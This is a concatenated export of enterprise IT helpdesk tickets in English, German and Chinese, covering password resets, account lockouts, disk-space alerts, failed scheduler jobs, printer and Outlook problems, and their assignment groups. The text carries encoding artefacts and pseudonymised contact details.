aolhgbps pbxqtcek in SID\_21 and SID\_1 and in active directory, Description: need to create the aolhgbps pbxqtcek in active directory and assign groups miioperatordev and miioperatorqa. let barrtyh know when the aolhgbps pbxqtcek is ready., is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_170: volume: /dev/SID\_3ora on server: HostName\_170 is over 98% space consumed. space available: 490 m, Description: HostName\_170: volume: /dev/SID\_3ora on server: HostName\_170 is over 98% space consumed. space available: 490 m, is assigned to Assignment group: GRP\_1.Ticket with Short description: calendar is not visible by manager , Description: calendar is not visible by manager , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit EU\_tool \fehler beim auftrag abmelden \ypladjeu wzfryxav, Description: probleme mit EU\_tool \fehler beim auftrag abmelden \ypladjeu wzfryxav, is assigned to Assignment group: GRP\_24.Ticket with Short description: basis on-call / shift details..., Description: \_x000D\_
\_x000D\_
received from: mnxbeuso.rfmdlwuo@gmail.com\_x000D\_
\_x000D\_
dac / gso â€“\_x000D\_
\_x000D\_
basis on-call details has been modified and the modified is placed in the below location in the collaboration\_platform. please update your records accordingly.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: is the finance\_app system still down we need this system to retrieve financial information for our quarterly closing, Description: is the finance\_app system still down\_x000D\_
we need this system to retrieve financial information for our quarterly closing, is assigned to Assignment group: GRP\_55.Ticket with Short description: laptop byclpwmv esafrtbh defekt, Description: laptop byclpwmv esafrtbh defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: mr. guruythupyhtyad is still not able to open the folder ie., m:\mtb project mgmt\servicing, Description: from: jayatramdntydba cvyg
sent: wednesday, october 12, 2016 2:09 pm
to: nwfodmhc exurcwkm
cc: bhayhtrathramdnty mamilujli; amihtar lalthy
subject: fw: ticket\_no1557371:new non-employee :gurublxkizmh nvodbrfluppasadabasavaraj:vvkuthyrppg
hello,
mr. guruythupyhtyad is still not able to open the folder ie., m:\mtb project mgmt\servicing. please look into this subject and provide access.
best , is assigned to Assignment group: GRP\_12.Ticket with Short description: deployment notification - ms .net framdntyework 4.6.1 & business\_client 5.0 SID\_792 - emea - issue, Description: \_x000D\_
\_x000D\_
received from: qaohugxw.kdeqjncw@gmail.com\_x000D\_
\_x000D\_
i got an error message after 2 minutes\_x000D\_
i think that update has not been done correctly .\_x000D\_
could you please check my computer.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: druckerprobleme mit em021 in germany, Description: \_x000D\_
\_x000D\_
received from: mobaidfx.gviwlsrm@gmail.com\_x000D\_
\_x000D\_
hallo zusammen,\_x000D\_
\_x000D\_
der drucker em021 druckt nicht mehr Ã¼ber die eingabe â€žbriefkopf".\_x000D\_
bitte einstellungen korrigieren.\_x000D\_
\_x000D\_
danke vorab.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_42.Ticket with Short description: need help, Description: \_x000D\_
\_x000D\_
received from: axcbfuqo.yiagubvh@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
i am in trouble with my password.\_x000D\_
i changed the password and i have the possibility to be connected to my e-mail and connection to various areas.\_x000D\_
but i still have my old password to start my computer.\_x000D\_
if i request to change my password using ctrl alt delete and change the password, it is not working.\_x000D\_
can you help, , is assigned to Assignment group: GRP\_0.Ticket with Short description: software "babiluntr" does not work, Description: software "babiluntr" does not work, is assigned to Assignment group: GRP\_42.Ticket with Short description: display link not working, Description:
received from: pxbqkfgm.qexvrmcn@gmail.com
hello,
my laptop's display link is not working. pls. help.
message comes as "could not recognize usb device."
vivthyek byuihand
asst manager- sales
company india ltd, india.
[cid:image009.jpg@01SID\_35d8e.07ce5550]
, is assigned to Assignment group: GRP\_19.Ticket with Short description: need display link adaptor and simcard holder, Description: \_x000D\_
\_x000D\_
received from: zdgxtfqs.tibmhxcs@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please note that my display link adaptor is not working, kindly arrange a replacement.\_x000D\_
\_x000D\_
also i need new data card sim-card holder for my laptop.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: copy of desktop files, Description:
received from: hjcpyxtq.okycpbsz@gmail.com
kindly copy the desktop files of prithivrtyaj (user id: vvyhtyumasp) to guruythupyhtyad (vvkuthyrppg) local folder.
pc no : awyw8911888
, is assigned to Assignment group: GRP\_19.Ticket with Short description: telephony\_software via remote number, Description:
received from: gmwdvrou.aupnvems@gmail.com
hello team,
iÂ´ve got a problem â€“ i canÂ´t call while working remote
can you help?
, is assigned to Assignment group: GRP\_7.Ticket with Short description: outlook repeatedly asking for passwords, Description: outlook repeatedly asking for passwords, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit EU\_tool \tmqfjard qzhgdoua, Description: probleme mit EU\_tool \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: bitte einen ordner im teams laufwerk fÃ¼rth anlegen, Description:
received from: osjqfbvw.hlmgrfpx@gmail.com
wÃ¼rden sie bitte einen ordner im teams laufwerk fÃ¼rth anlegen.
name: hr-tr
voller zugriff: rtnzvplq erhmuncq
rtgdcoun pngufmvq
naruedlk mpvhakdq
efodqiuh tpfnzkli
rcwpvkyb exgjscql
gabryltke schÃ¼tt
vielen dank.
gabryltke schÃ¼tt
human resources
osjqfbvw.hlmgrfpx@gmail.com<mailto:osjqfbvw.hlmgrfpx@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_12.Ticket with Short description: job dir failed in job\_scheduler at: 10/12/2016 06:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job dir failed in job\_scheduler at: 10/12/2016 06:04:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: request lauacyltoe hxgaycze version outlook update., Description: \_x000D\_
\_x000D\_
received from: luxdnsvk.qmnyzcfs@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
my laptop currently has 2010 version of microsoft outlook.\_x000D\_
kindly help me in getting the lauacyltoe hxgaycze version of the same.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: latitude tab 7350 not detecting the telecom\_vendor\_3 broadband sim, Description: latitude tab 7350 not detecting the telecom\_vendor\_3 broadband sim
phone: , is assigned to Assignment group: GRP\_19.Ticket with Short description: owner of the group "k-bhty-plc4-yhhm-er" is not available and has gave approval , Description: owner of the group "k-bhty-plc4-yhhm-er" is not available and has gave approval to add ploxzuts utvimnwo <ploxzuts.utvimnwo@gmail.com> attaching the approval mail
from: thvnfs anyhusppa
sent: wednesday, october 12, 2016 3:19 pm
to: gzjtweph mnslwfqv
subject: fw: inc1558231 : add my name to distribution lists
fyiâ€¦
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: gso hotline not working, Description: gso hotline not working. new as well old numbers tried, user are getting welcome message after that it is blank nothing can be heard., is assigned to Assignment group: GRP\_37.Ticket with Short description: reset the password for wcrbmgon kcudbnrw on e-mail, Description: reset the password for wcrbmgon kcudbnrw on e-mail, is assigned to Assignment group: GRP\_0.Ticket with Short description: maschinen pc r239 ohne funktion -> bitte prÃ¼fen, Description: maschinen pc r239 ohne funktion -> bitte prÃ¼fen, is assigned to Assignment group: GRP\_33.Ticket with Short description: faxen von purchase orders direkt aus der po schlÃ¤gt seit gestern fÃ¼r alle fehl., Description: faxen von purchase orders direkt aus der po schlÃ¤gt seit gestern fÃ¼r alle fehl.\_x000D\_
faxing from the purchase orders directly from the po has been unsuccessful since yesterday., is assigned to Assignment group: GRP\_29.Ticket with Short description: rechner fÃ¼r erodiermaschine defekt \youfzmgp xvysrnmb, Description: rechner fÃ¼r erodiermaschine defekt \youfzmgp xvysrnmb, is assigned to Assignment group: GRP\_24.Ticket with Short description: reset the password for xbsckemt durnfyxb on sonstiges, Description: hallo,\_x000D\_
bitte nur das passwort fÃ¼r "appricatehub.com" (impact award) zurÃ¼cksetzen, da auch die sicherheitsfrage: "wie hieÃŸ die erste schule, die sie besucht haben?" nicht korrekt beantwortet werden kann.\_x000D\_
danke., is assigned to Assignment group: GRP\_0.Ticket with Short description: new customer:81055992 has some problme, Description: i have created new customer account 81055992 in 1333, but it has a problem, it showns "customer 81055992 is markhtyed for deletion in the sales area selected". please help handle it, , is assigned to Assignment group: GRP\_15.Ticket with Short description: in outlook ,i am not getting pauhtul.phillyhuip@company.com mails, Description: in outlook ,i am not getting pauhtul.phillyhuip@company.com mails
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
govind
hello
ic
website visitor has joined the conversation
dwfiykeo argtxmvcumar3
hello
Â Â Â ,Â Â Â please click on the link, run it twice. give me the id & password.
govind23
few days back i created folder for pollaurid messages
dwfiykeo argtxmvcumar3
ok
please provide me access to your system
govind23
its not working to me. can you send me teamviewer
dwfiykeo argtxmvcumar3
please try this link
govind23
376 775 252 (tinyurl)
8054(tinyurl)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: archiving\_tool viewer, Description: archiving\_tool 10.0 has been installed on my pc but i can't view attachments in erp.\_x000D\_
could you please help me ?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit lean tracker, Description: unable to submit lean tracker, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_459 failed in job\_scheduler at: 10/12/2016 04:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_459 failed in job\_scheduler at: 10/12/2016 04:44:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: maus defekt \niptbwdq csenjruz, Description: maus defekt \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit ws cad \wsboedtj yvlswgxb, Description: probleme mit ws cad \wsboedtj yvlswgxb, is assigned to Assignment group: GRP\_24.Ticket with Short description: engineering tool - urgent customer drawing change - replace of file not possible !!!!, Description: 1.) briefly describe what you were trying to do and the issue you have encountered.\_x000D\_
it is not possible to "replace the original file" as the following error messages occurs.\_x000D\_
please refer to the attached picture:\_x000D\_
2.) please include a screenshot of any error messages\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_11.Ticket with Short description: outlook on laptop won't startup anymore. errormessage, Description: name:tuzkadxv rxloutpn
language:
browser:microsoft internet explorer
email:tuzkadxv.rxloutpn@gmail.com
customer number:
telephone:
summary:outlook on laptop won't startup anymore. errormessage
"a new guard page for the stack cannot be created, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create sto\_mm 7340903 and mm 6239893, Description: we're unable to create sto for mm# 7340903 per pr# 4121896402/00001 and mm# 7340904 per purrqs 4121803106/00001 , found the error message as per attached please help fixing this error and advise back to us aerp. , is assigned to Assignment group: GRP\_29.Ticket with Short description: probleme mit skype, Description: \_x000D\_
\_x000D\_
received from: fmhlugqk.dpraethi@gmail.com\_x000D\_
\_x000D\_
hallo liebe kollegen/kolleginnen,\_x000D\_
\_x000D\_
ich kann skype nicht starten. kommt immer diese fehlermeldung:\_x000D\_
[cid:image001.png@01d22469.6086f8f0]\_x000D\_
\_x000D\_
Ã¼dvÃ¶zlettel / mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: accound locked in ad, Description: accound locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: sales record, Description:
received from: rdfjsawg.zpmxgdcw@gmail.com
from: amy li
sent: tuesday, october 11, 2016 8:08 pm
to: pradyhtueep yyufs <rdfjsawg.zpmxgdcw@gmail.com>
cc: mthyn xiyhtu<blmvcuya.heklonfc@gmail.com>; jtyhnifer luntu<urfdkvei.bfiulzto@gmail.com>; ayhtrvin yzhao <oqmiabtv.spridlbm@gmail.com>; crysyhtal xithya <smktofel.etsoirbw@gmail.com>; mathgie ztyhng <ryajizsq.roezpsav@gmail.com>; alvrhn twhyang <evlburfd.xbusnyam@gmail.com>; xamtgvnw usdekfzq <xamtgvnw.usdekfzq@gmail.com>
subject: re: sales record
prathryep,
we want to understand why the cost is high for mm7201504 in 5319, plant\_283, we select one example.
mm 7201504
this mm is manufactured in plant\_304, ship to plant\_283.
sales order 35729979/30
relevant dn 9169339940 and 9169306146
intercompany billing 0159162480
billing in plant\_283 0159163814
shipment cost in plant\_304 rmb892.17( we didn't understand why the cost in plant\_304 is so high),it is delivery on sep 25 in plant\_304
sales cost in plant\_283 is rmb892.12 (this is from margin report in 5319 plant\_283, why it is so high?)
std cost in plant\_304 is rmb624,15
cost in plant\_304 is rmb772.19 based on lot size 80( the qty. is same as sales order)
, is assigned to Assignment group: GRP\_44.Ticket with Short description: 5323 - credit limit revision for company tooling and company distributors, Description: \_x000D\_
\_x000D\_
received from: rdfjsawg.zpmxgdcw@gmail.com\_x000D\_
\_x000D\_
from: yhmwxsqj ugnthxky\_x000D\_
sent: wednesday, october 12, 2016 11:37 am\_x000D\_
to: pradyhtueep yyufs <rdfjsawg.zpmxgdcw@gmail.com>\_x000D\_
subject: fw: credit limit revision\_x000D\_
\_x000D\_
pradtheyp,\_x000D\_
\_x000D\_
please look into the revision request of company tooling and company credit limit of distributors.\_x000D\_
\_x000D\_
this is one of the ia point and schedule closure was 30th sep'16.\_x000D\_
\_x000D\_
need your support to complete this activity so that we can respond to ia team for closure of this point.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: account is getting locked daily, Description: account is getting locked daily, is assigned to Assignment group: GRP\_2.Ticket with Short description: unlock my erp account, Description: \_x000D\_
\_x000D\_
received from: jqpvitdw.vitsrceq@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
could you please help to unlock my erp SID\_34 account\_x000D\_
my user id is lilp\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool / kpm project numbers not in the right order!, Description: \_x000D\_
\_x000D\_
received from: ucphibmr.dfvkbtsj@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
about the engineering tool:\_x000D\_
the kpm project numbers are numerirtcal not in the right order anymore!\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: lan connection in training room 3 not workig - also need mini-dp to vga adapter, Description: lan connection in training room 3 not workig - also need mini-dp to vga adapter, is assigned to Assignment group: GRP\_28.Ticket with Short description: HostName\_97: disk space on e:\ label:dat1-HostName\_97 is 99% consumed available space is 4.6gb out of 625gb, Description: HostName\_97: disk space on e:\ label:dat1-HostName\_97 is 99% consumed available space is 4.6gb out of 625gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: solid works issue: when trying to give print , solid work crashes., Description: solid works issue: when trying to give print , solid work crashes.\_x000D\_
\_x000D\_
===see attachment===\_x000D\_
-ph: 411\_x000D\_
-ph:0774430915\_x000D\_
-, is assigned to Assignment group: GRP\_19.Ticket with Short description: outlook configuration for new mobile handset, Description: \_x000D\_
\_x000D\_
received from: ckswypji.vrucgqna@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
request your support to configure settings for outlook mails on my new motorola- moto g4 plus handset.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login into ethics, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
i am not able to login in ethics portal to complete the course\_x000D\_
kindly do needful.\_x000D\_
\_x000D\_
error screen shot attached for reference .\_x000D\_
\_x000D\_
[cid:image001.jpg@01d22471.89b858b0]\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_23.Ticket with Short description: reset passwords for eglavnhx uprodleq using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job bwhrertran failed in job\_scheduler at: 10/12/2016 00:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrertran failed in job\_scheduler at: 10/12/2016 00:22:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: impacts awards login issue, Description: impacts awards login issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: mm:pur\_req\_ko assign for user: yeyhtung kimthy (vvkuimtyu) SID\_34 system, Description: mm:pur\_req\_ko assign for user: yeyhtung kimthy (vvkuimtyu) SID\_34 system.\_x000D\_
\_x000D\_
from: alkuozfr bhqgdoiu \_x000D\_
sent: tuesday, october 11, 2016 4:51 pm\_x000D\_
to: sudghhahjkkarreddy rangini; dbwkxalj cnhgysju\_x000D\_
cc: suhtnhdyio psfshytd; seocompanyxv syxewkji; -erp-purchasing; k-hr-global datateam\_x000D\_
subject: re: ticket\_no1543692: erp - additional access\_x000D\_
\_x000D\_
this role has been requested and i have approved it numerous times in the past.\_x000D\_
the role is approved.\_x000D\_
\_x000D\_
this will still not resolve the issue at hand. that issue will deal with the users attributes and possibly with hr org data.\_x000D\_
please loop in the erp:purchasing team and the global hr data team to get this completed.\_x000D\_
hell\_x000D\_
doug englehart\_x000D\_
manager global sourcing systems\_x000D\_
alkuozfr.bhqgdoiu@gmail.com\_x000D\_
t +1 724 539 5257\_x000D\_
m +1 724 331 7610\_x000D\_
f +1 724 539 5744\_x000D\_
\_x000D\_
company inc. | 1600 technology way | usa, pa 15650 | www.company.com\_x000D\_
\_x000D\_
from: sudghhahjkkarreddy rangini \_x000D\_
sent: wednesday, september 21, 2016 7:17 am\_x000D\_
to: alkuozfr bhqgdoiu; dbwkxalj cnhgysju\_x000D\_
cc: suhtnhdyio psfshytd; seocompanyxv syxewkji\_x000D\_
subject: re: ticket\_no1543692: erp - additional access\_x000D\_
\_x000D\_
hi douglas,\_x000D\_
\_x000D\_
below purchase role not assigned to users. \_x000D\_
\_x000D\_
is it may the issue? can you please check and if needs to be assign below role to user: seocompanyxv syxewkji (vvkuimtyu) SID\_34 system, please provide your approval for the same.\_x000D\_
\_x000D\_
role: mm:pur\_req\_ko\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: user needs help to create delivery., Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to check , , is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/11/2016 22:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 10/11/2016 22:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: error login on to the mii system., Description: error login on to the mii system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: è´¦æˆ·è¢«é”å®š, Description: ç”¨æˆ·å¿˜è®°å¯†ç ï¼Œå¯¼è‡´è´¦æˆ·é”å®š, is assigned to Assignment group: GRP\_48.Ticket with Short description: è¾“å…¥ç”¨æˆ·åå’Œå¯†ç åŽæ˜¾ç¤ºå‡ºé”™, Description: ç™»å½•æ—¶è¾“å…¥ç”¨æˆ·åå’Œå¯†ç åŽï¼Œæ˜¾ç¤ºç”¨æˆ·åå’Œå¯†ç é”™è¯¯, is assigned to Assignment group: GRP\_48.Ticket with Short description: HostName\_1002 : volume: j:\ label:dat5-HostName\_1002 8e944afe on server: HostName\_1002 is over 85% space consumed. space available: 1.5, Description: HostName\_1002 : volume: j:\ label:dat5-HostName\_1002 8e944afe on server: HostName\_1002 is over 85% space consumed. space available: 1.5 g, is assigned to Assignment group: GRP\_1.Ticket with Short description: amssm003 : volume: c:\ 94ef9088 on server: is over 85% space consumed. space available: 2.5 g, Description: amssm003 : volume: c:\ 94ef9088 on server: is over 85% space consumed. space available: 2.5 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: è´¦æˆ·è¢«é”å®š, Description: ç”¨æˆ·è´¦æˆ·é”å®šï¼Œè¯·æ±‚è§£é”, is assigned to Assignment group: GRP\_48.Ticket with Short description: unable to log in to collaboration\_platform , Description: unable to log in to collaboration\_platform , is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/11/2016 19:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/11/2016 19:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ticket update on inc1559662 , Description: ticket update on inplant\_868551, is assigned to Assignment group: GRP\_0.Ticket with Short description: no power on the laptop, Description: no power on the laptop, is assigned to Assignment group: GRP\_3.Ticket with Short description: erp logon, Description:
received from: hwrxutgm.fjlwmson@gmail.com
i changed my password through password\_management\_toolpasswordmanager and when i attempt to logon to erp my password is not recognized.
mthyike voyyhuek
senior materials engineer
hwrxutgm.fjlwmson@gmail.com<mailto:hwrxutgm.fjlwmson@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: äº§å“ä¸Žä»“åº“å¯¹ä¸ä¸Š, Description: äº§å“æ‰€åœ¨ä»“åº“å‡ºé”™ã€‚ st6p -100/+325 æ‰¹å·16-9-16, is assigned to Assignment group: GRP\_48.Ticket with Short description: å¼€æœºé»‘å±, Description: ç”µè„‘å¯åŠ¨åŽé»‘å±ï¼Œä¸»æœºæ— æŠ¥è­¦, is assigned to Assignment group: GRP\_48.Ticket with Short description: outlooké‡å¤è¦æ±‚è¾“å…¥å¯†ç , Description: outlookå¯†ç æ¡†åå¤å¼¹å‡ºï¼Œè¦æ±‚è¾“å…¥å¯†ç ï¼Œä¸èƒ½æŽ¥æ”¶é‚®ä»¶, is assigned to Assignment group: GRP\_48.Ticket with Short description: unable to update passwords using password\_management\_tool link, Description: unable to update passwords using password\_management\_tool link, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa's file server not responding, appears to have crashed., Description: usa's file server not responding, appears to have crashed., is assigned to Assignment group: GRP\_12.Ticket with Short description: ticket update on inplant\_868533, Description: ticket update on inplant\_868533, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot send email to this customer, Description: from: rolcgqhx ehndjmlv
sent: tuesday, october 11, 2016 11:28 am
to:communication <communication@company.com>
subject: help
please let me know why i cannot send email to this customer
best , is assigned to Assignment group: GRP\_26.Ticket with Short description: ticket update on ticket\_no0448515, Description: ticket update on ticket\_no0448515, is assigned to Assignment group: GRP\_0.Ticket with Short description: please reset my pass word for s&op., Description: please reset my pass word for s&op., is assigned to Assignment group: GRP\_0.Ticket with Short description: provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull, Description: provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull
hello,
could you please provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull?
access like who person name : tyyhtuler hiyhtull [hiyhllt]
manager name/ user id : vnjwsadx iltywzjm- [fidleyhtjp]
best , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to take ethics course, Description: unable to take ethics course, is assigned to Assignment group: GRP\_0.Ticket with Short description: 2nd monitor is bright yellow & gtehdnyu once it warms up., Description: 2nd monitor is bright yellow & gtehdnyu once it warms up., is assigned to Assignment group: GRP\_3.Ticket with Short description: discount form issue ; infopath, Description: discount form issue ; infopath, is assigned to Assignment group: GRP\_0.Ticket with Short description: prtqi7307 and 7280 malfunction, Description: prtqi7307 and 7280 malfunction, is assigned to Assignment group: GRP\_3.Ticket with Short description: need print to pdf software, Description: need adobe professional or any software that has option to print to pdf\_x000D\_
computer name--lacl7404951, is assigned to Assignment group: GRP\_3.Ticket with Short description: user was unable to open reporting\_tool, Description: user was unable to open reporting\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: the finance\_app system is down. i need someone in the db group to verify that the oracle database is up and running. , Description: finance\_app system is down. i need someone in the database admin group to verify that the database hfmp on server HostName\_1136 is up and running. , is assigned to Assignment group: GRP\_55.Ticket with Short description: laptop cannont access companysecure or companyguest wifi in corporate center building, Description: i recently received a 16gb engineering laptop to use for work. i currently work in the tech. center building where both wired (docked) connection and wifi (company secure) work fine. i have been in two meetings today in the corporate center building where i cannot connect to any secure wifi network. this has been frustrating since i usually require my laptop with internet to some extent in any meeting. please assist. , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out , Description: account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: cyber security - phish uacyltoe hxgaycze report october 2016, Description: cyber security - phish uacyltoe hxgaycze report october 2016, is assigned to Assignment group: GRP\_2.Ticket with Short description: cannot access usa or usa collaboration\_platform documents, Description: when i try to open documents, i am prompted to enter my email address, then password, and then the process repeats. i did change my password today, but don't know if that has anything to do with it., is assigned to Assignment group: GRP\_0.Ticket with Short description: i get a mysterious java error on every boot of my laptop., Description: i get a mysterious java error on every boot of my laptop., is assigned to Assignment group: GRP\_3.Ticket with Short description: email, Description:
received from: raifstow.gfeymtql@gmail.com
i need to have k-rckfthy grind added to my microsoft email.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot print on 11x17 paper on new xerox prtqx4602, Description: cannot print on 11x17 paper on new xerox prtqx4602, is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset and access to reporting\_engineering\_tools, Description: password reset and access to reporting\_engineering\_tools, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting issues, Description: during skype meetings, i have been unable to use skype calls. i get the message that my speaker is not working and it will not connect me to audio. this happened yesterday for one call and then it worked later in the day. today i have not been able to join via skype. my same headset works fine for telephone calls, so i do not believe it is my headset., is assigned to Assignment group: GRP\_0.Ticket with Short description: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administra, Description: from: lhejbwkc xbmyvnqf \_x000D\_
sent: tuesday, october 11, 2016 5:48 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: dan fw: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.\_x000D\_
importance: high\_x000D\_
\_x000D\_
dear all\_x000D\_
\_x000D\_
please activate my new iphone, it is a company owned device.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: defect scanner/printer "vh42-plant manager/controlling". , Description: from: byclpwmv esafrtbh
sent: tuesday, october 11, 2016 7:47 pm
to: nwfodmhc exurcwkm
cc: geoyhtrge wuryhtudack
subject: trurthyuft wg: ticket fÃ¼r drucker
hello help-team,
pls enter a ticket regarding defect scanner/printer "vh42-plant manager/controlling".
local it is already working on that (with external supplier).
just to make sure all work is trackedâ€¦
thx
marfhtyio
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_33.Ticket with Short description: ticket update on ticket\_no0447085, Description: ticket update on ticket\_no0447085, is assigned to Assignment group: GRP\_0.Ticket with Short description: is there cert open for the usa telephone system outage / disruption?, Description: \_x000D\_
\_x000D\_
received from: oxlqvika.zrvbahym@gmail.com\_x000D\_
\_x000D\_
it's been down for long distance most of the day â€¦\_x000D\_
\_x000D\_
justrgun\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_37.Ticket with Short description: password reset, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: tuesday, october 11, 2016 6:35 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: rohit request to reset microsoft online services password for wjdatzyv.bhkoldjv@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ wjdatzyv.bhkoldjv@gmail.com
â€¢ first name: ncoileu
â€¢ last name: boeyhthm
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
